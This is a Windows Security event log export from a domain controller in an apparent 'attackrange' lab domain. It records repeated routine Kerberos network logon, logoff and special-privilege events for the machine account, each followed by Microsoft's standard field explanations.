This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249844
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFA0B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249867
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFCC4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249866
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEFCC4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64344

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249865
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFCC4

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249864
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFC63

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249863
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEFC63
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64343

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249862
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFC63

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249861
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFBFD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249860
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEFBFD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64342

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249859
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFBFD

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249858
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFB9C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249857
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEFB9C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64341

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249856
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFB9C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249879
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFE62

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249878
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEFE62
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64348

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249877
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFE62

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249876
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFE01

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249875
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEFE01
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64347

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249874
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFE01

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249873
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFD95

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249872
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEFD95
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64346

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249871
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFD95

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249870
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFD32

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249869
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEFD32
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64345

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249868
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFD32

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249934
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF1B7B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249933
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF1B7B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64352

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249932
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF1B7B

